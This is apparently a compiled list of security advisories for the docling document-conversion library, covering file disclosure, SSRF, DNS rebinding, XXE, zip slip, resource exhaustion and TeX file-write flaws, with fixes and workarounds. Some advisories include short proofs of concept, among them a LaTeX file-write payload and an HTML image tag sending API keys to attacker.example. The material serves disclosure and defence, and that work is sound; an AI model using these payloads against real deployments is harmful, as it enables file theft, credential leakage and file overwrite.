Threats affecting pkg:github/docling-project/docling

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.107.0 until 2.120.3, docling/backend/opendocument_backend.py uses the xlink:href attribute value of a draw:image element as a filesystem path when the referenced part is not found in the document archive. The _image_ref_from_odf_image function reads that attacker-controlled path without a scheme check, extraction-directory confinement, or the enable_local_fetch setting used by other backends. Readable files that Pillow can decode as images are embedded in converted output, and other existing paths can be distinguished through the attempted read. This issue is fixed in 2.120.3.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.82.0 until 2.118.1, HTMLBackendOptions(render_page=True) permits file URLs because HTMLDocumentBackend._get_browser_request_block_reason does not enforce the enable_local_fetch setting or confine local requests to the source document directory. Crafted path-backed HTML can embed a readable local text file in a browser-rendered page image when Playwright is installed. Only filesystem Path inputs are affected because stream inputs use an opaque origin, and the default configuration, command-line interface, docling-serve, and non-rendering backends are not affected. This issue is fixed in 2.118.1.

CVE-2026-105749 is an uncontrolled resource consumption vulnerability in the docling-project's docling software. Versions from 2.0.0 up to but not including 2.131.0 allow HTML, JATS, OpenDocument spreadsheet, and BoxNote backends to accept rowspan and colspan attribute values without upper bounds. This can cause excessive CPU usage or multi-gigabyte memory allocation when processing small documents. The document_timeout setting does not interrupt the backend conversion call, exacerbating the impact. The issue is fixed in version 2.131.0.

### Summary docling accepts serialized `DoclingDocument` JSON as an input format (`InputFormat.JSON_DOCLING`, enabled by default). A crafted JSON file can set a picture's image `uri` to a local file path. When the converted document is exported with embedded images (`ImageRefMode.EMBEDDED`, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output. ### Details `docling/backend/json/docling_json_backend.py` validates the JSON into a `DoclingDocument` without checking image references. The file is then read by docling-core: - `DoclingDocument._with_embedded_pictures` opens `file://` and plain-path URIs with PIL. - `ImageRef.pil_image` checks `allow_image_file_uri` for `file://` URIs but not for plain `Path` values. docling's picture enrichment models load images through this property. Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists. ### Impact Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists. ### Proof of concept ```python from pathlib import Path from docling_core.types.doc import DoclingDocument, ImageRef from docling_core.types.doc.base import Size doc = DoclingDocument(name="poc") doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1), uri=Path("/srv/uploads/other-user/scan.png"))) doc.save_as_json("poc.json") ``` `docling poc.json --to md` embeds the referenced PNG as base64 in `poc.md`. ### Patches Fixed in docling 2.131.0 by [#4417](https://github.com/docling-project/docling/pull/4417). The Docling JSON backend now drops image references that point at local files (paths, `file:` URIs and any scheme other than `data:` and `http(s)`) and logs a warning. Callers that need to load local images from JSON they trust can opt in with `DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True))`; the CLI has no such option. Code that loads untrusted JSON directly with docling-core (`DoclingDocument.load_from_json`) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core. ### Workarounds Upgrade to 2.131.0. For older versions: - Remove `InputFormat.JSON_DOCLING` from `allowed_formats` when converting untrusted input. - Export with `ImageRefMode.PLACEHOLDER` or `ImageRefMode.REFERENCED` instead of `EMBEDDED`.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.45.0 until 2.131.0, METS-GBS format detection in docling/datamodel/document.py and the backend in docling/backend/mets_gbs_backend.py call tarfile.TarFile.getmembers() before enforcing the max_member_count limit, causing the full archive member list to be allocated before the limit can stop processing. A small gzip-compressed tar archive with a very large number of empty members can therefore consume memory proportional to the declared member count, including during format detection before the allowed_formats restriction is applied. This issue is a residual weakness in the member-count protection added for CVE-2026-44018. This issue is fixed in 2.131.0.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.83.0 until 2.131.0, the KServeV2OcrModel class defined in docling/models/stages/ocr/kserve_v2_ocr_model.py sends page images to its configured endpoint without checking the pipeline_options.enable_remote_services setting, even when the caller sets that policy control to false. The StandardPdfPipeline._make_ocr_model method also fails to pass the flag into the OCR factory, allowing remote OCR processing in configurations that rely on remote services being disabled. The destination is configured by the caller rather than selected by an attacker. This issue is fixed in 2.131.0.

### Summary `allow_external_plugins=False` (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's `load_setuptools_entrypoints()`, which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the `docling.` namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled. ### Details In `docling/models/factories/base_factory.py`, `load_from_plugins()` loads all entry points first and applies the `allow_external_plugins` check only to the already-imported modules. The CLI creates these factories when it starts, so running `docling` imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported. ### Affected configurations Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on `allow_external_plugins=False` to keep that code from running. ### Impact Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of `allow_external_plugins=False`. ### Patches Fixed in docling 2.131.0 by [#4413](https://github.com/docling-project/docling/pull/4413). Plugin entry points are now filtered by module name before they are loaded, so with `allow_external_plugins=False` third-party plugin modules are no longer imported. ### Workarounds Upgrade to 2.131.0. For older versions: Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with `importlib.metadata.entry_points()`.

### Summary When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (`LatexBackendOptions(tikz_engine="tectonic")`), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted `.tex` file can read files the process can read and write files at paths the process can write. If the caller also sets `tikz_engine_allow_shell_escape=True`, the document can run shell commands through `\write18`. ### Details `docling/backend/latex/engines/tectonic.py` writes the picture source into a temporary document and runs the `tectonic` binary on it. `_resolve_local_dependency` only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so: - `\input{/abs/path}`, `\verbatiminput{...}` and `\openin` read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory `DocumentStream`, staging is skipped entirely. - `\immediate\openout` / `\write` create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's `--untrusted` flag does not block them either. Separately, the `TectonicEngine` constructor defaults to `allow_shell_escape=True`. The LaTeX backend always passes `tikz_engine_allow_shell_escape` explicitly (default `False`), so this default only affects code that instantiates `TectonicEngine` directly. ### Affected configurations - Affected: callers that set `tikz_engine="tectonic"`, have a `tectonic` binary available (on `PATH` or in the docling cache), and convert untrusted LaTeX. - Not affected: the default configuration (`tikz_engine=None`). docling does not install `tectonic` automatically, and the CLI exposes no option to enable it. ### Impact Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly. ### Proof of concept ```latex \documentclass{article} \usepackage{tikz} \begin{document} \begin{tikzpicture} \immediate\openout15=/tmp/docling-tectonic-poc.txt \immediate\write15{written by the input document} \immediate\closeout15 \node {x}; \end{tikzpicture} \end{document} ``` Converting this file with `LatexBackendOptions(tikz_engine="tectonic")` creates `/tmp/docling-tectonic-poc.txt`. ### Patches Mitigated in docling 2.132.0 by [#4419](https://github.com/docling-project/docling/pull/4419): - `TectonicEngine` now defaults to `allow_shell_escape=False`, and without shell escape Tectonic runs with `--untrusted` and `--only-cached`. - Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the `\openin`, `\openout`, `\XeTeXpicfile` or `\XeTeXpdffile` primitives, or names an absolute, home, drive-letter or parent-directory path in `\input`, `\include`, `\includegraphics`, `\InputIfFileExists` or `\graphicspath`. This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the [pipeline options reference](https://github.com/docling-project/docling/blob/main/docs/reference/pipeline_options.md), untrusted LaTeX rendered with `tikz_engine="tectonic"` should still be processed in an isolated environment. ### Workarounds Upgrade to 2.132.0. For older versions: - Do not enable `tikz_engine="tectonic"` for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network). - Never set `tikz_engine_allow_shell_escape=True` for untrusted input.

CVE-2026-105743 is a time-of-check to time-of-use (TOCTOU) race condition vulnerability in the docling-project's docling software. Versions from 2.91.0 up to but not including 2.132.0 are affected. The issue arises because the validate_url_safety function performs a single IPv4 lookup to validate a hostname but then allows the HTTP client to resolve and parse the original URL again, enabling DNS rebinding and mixed public/internal address records to bypass validation. Additionally, HTMLBackendOptions(render_page=True) permits HTTP and HTTPS requests without validating the resolved destination. Exploitation requires remote fetching to be enabled, and the response content is only exposed when decoded as an image or rendered passively in a page screenshot. The vulnerability is fixed in version 2.132.0.

### Summary `HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials. ### Details `docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects. ### Affected configurations - Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML. - Not affected: the default configuration. ### Impact Disclosure of the configured request headers, typically credentials, to a host chosen by the document author. ### Proof of concept ```html <img src="https://attacker.example/pixel.png"> ``` Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`. Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c. ### Patches Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document. ### Workarounds Upgrade to 2.132.0. For older versions: Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

### Impact The HTML backend did not perform sufficient validation during resource handling: - Accepted `file://` URIs enabling local file system access when `enable_local_fetch=True` - Path resolution allowed traversal outside intended directories via `../` sequences and absolute paths - Did not block internal network resources under `enable_remote_fetch=True` - HTTP redirects were not validated, potentially redirecting to unintended schemes - No resource limits for remote image downloads and `data:` URIs ### Patches Fixed in versions 2.91.0 (initial fixes) and 2.94.0 (additional improvements). The fixes implement: - Updated local path treatment: absolute files always blocked, relative paths require `enable_local_fetch=True` (default: False) and containment within configured `base_path` for path traversal protection - `file://` scheme stripped & treated as local path (above) - IP address validation to prevent SSRF - HTTP redirect validation, connection and read timeouts - Size limit for both remote images (with streaming download) and base64-decoded data URIs ### Workarounds Keep both `enable_local_fetch=False` and `enable_remote_fetch=False` (defaults) when processing untrusted HTML documents. ### References - Initial fixes: [v2.91.0](https://github.com/docling-project/docling/releases/tag/v2.91.0) - Additional improvements: [v2.94.0](https://github.com/docling-project/docling/releases/tag/v2.94.0)

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.45.0 until 2.91.0, the METS-GBS backend's XML parsing and the input document format detection lacked security controls. An attacker could craft malicious METS-GBS archives that, when processed, could read sensitive files, exhaust system resources, or cause application crashes. This vulnerability is fixed in 2.91.0.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. Prior to 2.91.0, the EasyOCR model download functionality extracted ZIP archives without validating member paths, enabling Zip Slip attacks. If an attacker could compromise the model download source (via supply chain attack, DNS spoofing, or MITM), they could write arbitrary files to any location writable by the process, potentially achieving remote code execution by overwriting Python files or system binaries, persistent backdoors by modifying startup scripts or SSH keys, and data corruption or system compromise. This vulnerability is fixed in 2.91.0.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.73.0 until 2.91.0, he LaTeX backend's handling of \includegraphics, \input, and \include commands lacked path containment validation. Attackers could craft malicious LaTeX documents with path traversal sequences to read arbitrary files from the file system accessible to the process, include sensitive files in the converted document output, or potentially access configuration files, credentials, or other sensitive data This vulnerability is fixed in 2.91.0.

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.13.0 until 2.74.0, the USPTO patent XML parser used the standard xml.sax.parseString() without protection against XML External Entity (XXE) attacks. An attacker could craft malicious USPTO patent XML files with external entity references that could read arbitrary files from the server filesystem, perform Server-Side Request Forgery (SSRF) attacks, or cause denial of service through entity expansion (Billion Laughs attack). The vulnerability affects three USPTO patent format parsers: ICE (v4.x), Grant v2.5, and Application v1.x. This vulnerability is fixed in 2.74.0.

Docling's METS GBS backend is vulnerable to XML Entity Expansion (XXE) attacks thru 2.61.0. The backend extracts and validates XML files from .tar.gz archives using etree.fromstring() without disabling entity resolution. An attacker can craft a malicious XML file with nested entity definitions (XML Bomb) and package it into a .tar.gz archive. When processed by Docling, the exponential expansion of entities during XML parsing leads to excessive resource consumption, resulting in a denial of service (DoS) condition on the system running the Docling parser.

Docling's JATS XML backend is vulnerable to XML Entity Expansion (XXE) attacks thru 2.61.0. The backend uses etree.parse() to parse XML files without disabling entity resolution. An attacker can craft a malicious XML file containing a nested entity expansion payload (XML Bomb). When processed by Docling, the exponential expansion of entities leads to excessive resource consumption, resulting in a denial of service (DoS) condition on the system running the Docling parser.